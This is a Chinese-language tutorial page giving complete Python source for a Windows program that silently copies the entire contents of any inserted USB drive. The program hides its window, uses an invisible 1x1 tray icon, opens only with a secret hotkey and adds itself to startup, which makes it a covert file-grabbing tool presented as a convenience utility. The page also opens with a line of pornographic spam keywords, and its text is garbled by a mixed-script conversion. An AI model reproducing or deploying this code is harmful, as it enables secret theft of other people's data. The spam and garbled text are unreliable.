亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

使用Python實現(xiàn)U盤數(shù)據(jù)自動拷貝

 更新時間:2025年02月05日 10:08:11   作者:mosquito_lover1  
這篇文章主要為大家詳細(xì)介紹了如何使用Python實現(xiàn)U盤數(shù)據(jù)自動拷貝,即當(dāng)電腦上有U盤插入時自動復(fù)制U盤內(nèi)的所有內(nèi)容,希望對大家有所幫助

功能

當(dāng)電腦上有U盤插入時,自動復(fù)制U盤內(nèi)的所有內(nèi)容

主要特點

1、使用PyQt5創(chuàng)建圖形界面,但默認(rèn)隱藏

2、通過Ctrl+Alt+U組合鍵可以顯示/隱藏界面

3、自動添加到Windows啟動項

4、監(jiān)控USB設(shè)備插入

5、按修改時間排序復(fù)制文件

6、靜默運行,無提示

7、自動跳過無法復(fù)制的文件

8、配置文件保存目標(biāo)路徑

使用說明

1、首次運行時,按Ctrl+Alt+U顯示界面

2、點擊"選擇目標(biāo)文件夾"按鈕設(shè)置保存位置

3、設(shè)置完成后可以關(guān)閉界面,程序會在后臺運行

4、插入U盤后會自動復(fù)制內(nèi)容到指定文件夾

 靜默界面

實現(xiàn)代碼

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, 
                           QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmap
 
class USBCopyTool(QMainWindow):
    def __init__(self):
        super().__init__()
        self.config_file = 'config.json'
        self.target_path = self.load_config()
        self.init_ui()
        self.setup_system_tray()
        self.setup_hotkey()
        
        # 添加窗口事件過濾器
        self.installEventFilter(self)
        
        # 啟動USB監(jiān)控線程
        self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)
        self.monitor_thread.start()
 
    def init_ui(self):
        self.setWindowTitle('USB自動復(fù)制工具')
        self.setGeometry(300, 300, 400, 200)
        
        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        layout = QVBoxLayout()
        
        self.path_label = QLabel(f'當(dāng)前目標(biāo)路徑: {self.target_path}')
        layout.addWidget(self.path_label)
        
        select_btn = QPushButton('選擇目標(biāo)文件夾')
        select_btn.clicked.connect(self.select_target_path)
        layout.addWidget(select_btn)
        
        central_widget.setLayout(layout)
        self.hide()
 
    def setup_system_tray(self):
        self.tray_icon = QSystemTrayIcon(self)
        # 創(chuàng)建一個1x1的空白圖標(biāo)而不是完全沒有圖標(biāo)
        blank_icon = QIcon()
        blank_icon.addPixmap(QPixmap(1, 1))
        self.tray_icon.setIcon(blank_icon)
        self.tray_icon.show()
 
    def setup_hotkey(self):
        # 注冊全局熱鍵 (Ctrl+Alt+U)
        self.hot_key_id = 1
        try:
            win32gui.RegisterHotKey(self.winId(), self.hot_key_id, 
                                  win32con.MOD_CONTROL | win32con.MOD_ALT, 
                                  ord('U'))
        except Exception as e:
            print(f"熱鍵注冊失敗: {e}")
 
    def nativeEvent(self, eventType, message):
        try:
            if eventType == "windows_generic_MSG":
                msg = wintypes.MSG.from_address(message.__int__())
                if msg.message == win32con.WM_HOTKEY:
                    if self.isVisible():
                        self.hide()
                    else:
                        self.show()
                    return True, 0
        except Exception as e:
            print(f"事件處理錯誤: {e}")
        return False, 0
 
    def load_config(self):
        try:
            with open(self.config_file, 'r') as f:
                config = json.load(f)
                return config.get('target_path', '')
        except:
            return ''
 
    def save_config(self):
        with open(self.config_file, 'w') as f:
            json.dump({'target_path': self.target_path}, f)
 
    def select_target_path(self):
        path = QFileDialog.getExistingDirectory(self, '選擇目標(biāo)文件夾')
        if path:
            self.target_path = path
            self.path_label.setText(f'當(dāng)前目標(biāo)路徑: {self.target_path}')
            self.save_config()
 
    def monitor_usb(self):
        drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
        print(f"初始驅(qū)動器: {drives_before}")
        
        while True:
            try:
                drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
                new_drives = drives_now - drives_before
                
                if new_drives:
                    print(f"檢測到新驅(qū)動器: {new_drives}")
                    for drive in new_drives:
                        drive_type = win32file.GetDriveType(drive)
                        print(f"驅(qū)動器 {drive} 類型: {drive_type}")
                        if drive_type == win32con.DRIVE_REMOVABLE:
                            print(f"開始復(fù)制U盤 {drive} 內(nèi)容")
                            self.copy_usb_contents(drive)
                
                drives_before = drives_now
                time.sleep(1)
            except Exception as e:
                print(f"監(jiān)控錯誤: {e}")
                time.sleep(1)
 
    def copy_usb_contents(self, drive):
        if not self.target_path:
            print("未設(shè)置目標(biāo)路徑")
            return
            
        # 獲取U盤卷標(biāo)名稱
        try:
            volume_name = win32api.GetVolumeInformation(drive)[0]
            # 如果U盤沒有卷標(biāo)名稱,則使用盤符
            if not volume_name:
                volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            # 替換非法字符
            volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')
        except Exception as e:
            print(f"獲取卷標(biāo)名稱失敗: {e}")
            volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            
        target_folder = os.path.join(self.target_path, volume_name)
        print(f"復(fù)制到目標(biāo)文件夾: {target_folder}")
        
        if not os.path.exists(target_folder):
            os.makedirs(target_folder)
            
        # 獲取所有文件并按修改時間排序
        all_files = []
        try:
            for root, dirs, files in os.walk(drive):
                print(f"掃描目錄: {root}")
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        mtime = os.path.getmtime(file_path)
                        all_files.append((file_path, mtime))
                    except Exception as e:
                        print(f"無法獲取文件信息: {file_path}, 錯誤: {e}")
                        continue
        except Exception as e:
            print(f"掃描目錄失敗: {e}")
                    
        all_files.sort(key=lambda x: x[1], reverse=True)
        print(f"找到 {len(all_files)} 個文件")
        
        # 復(fù)制文件
        for file_path, _ in all_files:
            try:
                rel_path = os.path.relpath(file_path, drive)
                target_path = os.path.join(target_folder, rel_path)
                target_dir = os.path.dirname(target_path)
                if not os.path.exists(target_dir):
                    os.makedirs(target_dir)
                print(f"復(fù)制文件: {file_path} -> {target_path}")
                shutil.copy2(file_path, target_path)
            except Exception as e:
                print(f"復(fù)制失敗: {file_path}, 錯誤: {e}")
                continue
 
    def eventFilter(self, obj, event):
        if obj is self and event.type() == QEvent.WindowStateChange:
            if self.windowState() & Qt.WindowMinimized:
                # 延遲執(zhí)行隱藏操作,避免界面閃爍
                QTimer.singleShot(0, self.hide)
                # 恢復(fù)窗口狀態(tài),這樣下次顯示時是正常狀態(tài)
                self.setWindowState(Qt.WindowNoState)
                return True
        return super().eventFilter(obj, event)
 
def add_to_startup():
    try:
        startup_path = os.path.join(os.getenv('APPDATA'), 
                                  r'Microsoft\Windows\Start Menu\Programs\Startup')
        script_path = os.path.abspath(sys.argv[0])
        shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')
        
        shell = win32com.client.Dispatch("WScript.Shell")
        shortcut = shell.CreateShortCut(shortcut_path)
        shortcut.Targetpath = script_path
        shortcut.WorkingDirectory = os.path.dirname(script_path)
        shortcut.save()
    except Exception as e:
        print(f"添加到啟動項失敗: {e}")
 
if __name__ == '__main__':
    # 確保只運行一個實例
    mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')
    if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
        mutex = None
        sys.exit(0)
        
    add_to_startup()
    app = QApplication(sys.argv)
    tool = USBCopyTool()
    sys.exit(app.exec_()) 

以上就是使用Python實現(xiàn)U盤數(shù)據(jù)自動拷貝的詳細(xì)內(nèi)容,更多關(guān)于Python U盤數(shù)據(jù)拷貝的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 使用Python進(jìn)行批量操作PPT的示例詳解

    使用Python進(jìn)行批量操作PPT的示例詳解

    將一份PPT的每一頁字體、大小、是否加粗都統(tǒng)一,是一個常見需求,本文將使用Python實現(xiàn)批量操作PPT,感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下
    2025-04-04
  • Django中多種重定向方法使用詳解

    Django中多種重定向方法使用詳解

    這篇文章主要介紹了Django中多種重定向方法使用詳解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2019-07-07
  • java字符串格式化輸出實例講解

    java字符串格式化輸出實例講解

    在本篇文章里小編給大家整理的是一篇關(guān)于java字符串格式化輸出實例講解,有需要的朋友們可以學(xué)習(xí)下。
    2021-01-01
  • python中int與str互轉(zhuǎn)方法

    python中int與str互轉(zhuǎn)方法

    最近學(xué)習(xí)python中的數(shù)據(jù)類型時,難免聯(lián)想到j(luò)ava中的基本型數(shù)據(jù)類型與引用型數(shù)據(jù)類型。接下來通過本文給大家介紹python中int與str互轉(zhuǎn),需要的朋友可以參考下
    2018-07-07
  • 使用Python實現(xiàn)屏幕截圖工具

    使用Python實現(xiàn)屏幕截圖工具

    這篇文章主要為大家詳細(xì)介紹了如何使用Python實現(xiàn)一個簡單的屏幕截圖工具,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下
    2025-03-03
  • python實現(xiàn)掃雷小游戲

    python實現(xiàn)掃雷小游戲

    這篇文章主要為大家詳細(xì)介紹了python實現(xiàn)掃雷小游戲,文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2020-04-04
  • python類共享變量操作

    python類共享變量操作

    這篇文章主要介紹了python類共享變量操作,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-09-09
  • Python實現(xiàn)博客快速備份的腳本分享

    Python實現(xiàn)博客快速備份的腳本分享

    本文針對博客園實現(xiàn)了一個自動備份腳本,可以快速將自己的文章備份成Markdown格式的獨立文件,備份后的md文件可以直接放入到hexo博客中,感興趣的可以了解一下
    2022-09-09
  • python實現(xiàn)進(jìn)度條的多種實現(xiàn)

    python實現(xiàn)進(jìn)度條的多種實現(xiàn)

    這篇文章主要介紹了python實現(xiàn)進(jìn)度條的多種實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-04-04
  • python中的關(guān)鍵字(pass)使用

    python中的關(guān)鍵字(pass)使用

    這篇文章主要介紹了python中的關(guān)鍵字(pass)使用,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2025-04-04

最新評論